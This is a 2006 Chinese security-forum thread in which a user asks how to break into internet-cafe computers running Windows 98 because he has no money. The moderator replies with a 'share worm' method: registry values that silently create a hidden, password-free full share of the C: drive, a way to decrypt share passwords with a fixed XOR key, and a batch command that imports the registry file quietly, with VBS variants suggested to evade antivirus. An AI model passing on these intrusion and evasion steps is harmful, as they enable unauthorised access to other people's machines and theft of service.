20CN网络安全小组论坛 - 网吧专题 - 请问各位大虾如何入侵全是WIN98的网吧主机。（兄弟我没钱了）

论坛: 网吧专题标题: 请问各位大虾如何入侵全是WIN98的网吧主机。（兄弟我没钱了）

复制本贴地址

作者: s415114 [s415114]

论坛用户

谢谢各位支持

地主发表时间: 06-01-07 20:02

回复: yimarong [yimarong]

版主

可以运用社会工程学在利用共享蠕虫即可！（呵呵~原来我用过，简单但很有效）
运行Regedit，打开注册表，找到下面的子键：HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ CurrentVersion\Network\LanMan\C$，在屏幕的右边，您可以看见下面的内容：
“Flags”=dword:00000302//共享标志
“Parm1enc”=hex:00000000//共享目录的完全共享密码
“Parm2enc”=hex:00000000//共享目录的只读访问密码
“Path”=“C:\\”//共享驱动器的路径，就是C:,D:等等
“Remark”=“Remark By Fwnl”//用户共享说明，可以写入一些注释信息，比如“您的硬盘被共享了”
“Type”=dword:00000000 //类型属性
关键就是Flags这个参数，他的键值决定了共享目录的类型。共享有如下几种类型:
1.只读共享，无密码，Flags=0x191(0x表示16进制数);
2.只读共享，需要密码，Flags=0x101；
3.完全共享，无密码，Flags=0x102；
4.完全共享，需密码，Flags=0x102；
5.根据密码访问共享(只读)，需密码，与2一样；Flags=0x103
6.根据密码访问共享(完全)，需密码，与4一样；Flags=0x103
请大家注意5和6在注册表中设置的标志分别与2、4不一样。
7.根据密码访问共享(只读和完全)，需设置不同密码。Flags=0x103；
8.完全共享，无密码，不显示共享，Flags=0x302。
用户访问共享资源时，根据不同的情况拥有不同的访问权限。以上前7种共享，在设置之后，目录图标会发生变化，变成一个具有一只托手的图标。而第8种则不会有任何显示！
由以上分析可知，共享分类完全是由Flags标志决定的，他的键值决定了共享目录的类型，当Flags=0x302时，重新启动系统，目录共享标志消失。共享蠕虫，就是利用了此特性。
Parmlenc、Parm2enc属性项是加密的密码，系统在加密时采用了8位密码分别与“35 9a 4b a6 53 a9 d4 6a”进行异或运算，要想求出密码再进行一次异或运算，然后查ASCII表可得出目录密码。

关于写如：
1：写BAT隐藏写入！（先编辑共享REG文件名为：REG。REG）
@echo off
Regedit /s reg.reg
2：写VBS/VBE等等~（可以自己变形躲避杀毒）
……

98本来服务什么的就少，再加上都出来那么久了，该补的基本上都补了，想纯从外面入侵可先多收集信息，然后分析一下，看有无可利用的地方！

有的时候答案其实就在眼前，看你怎么去想了~

B1层发表时间: 06-01-08 14:08

论坛: 网吧专题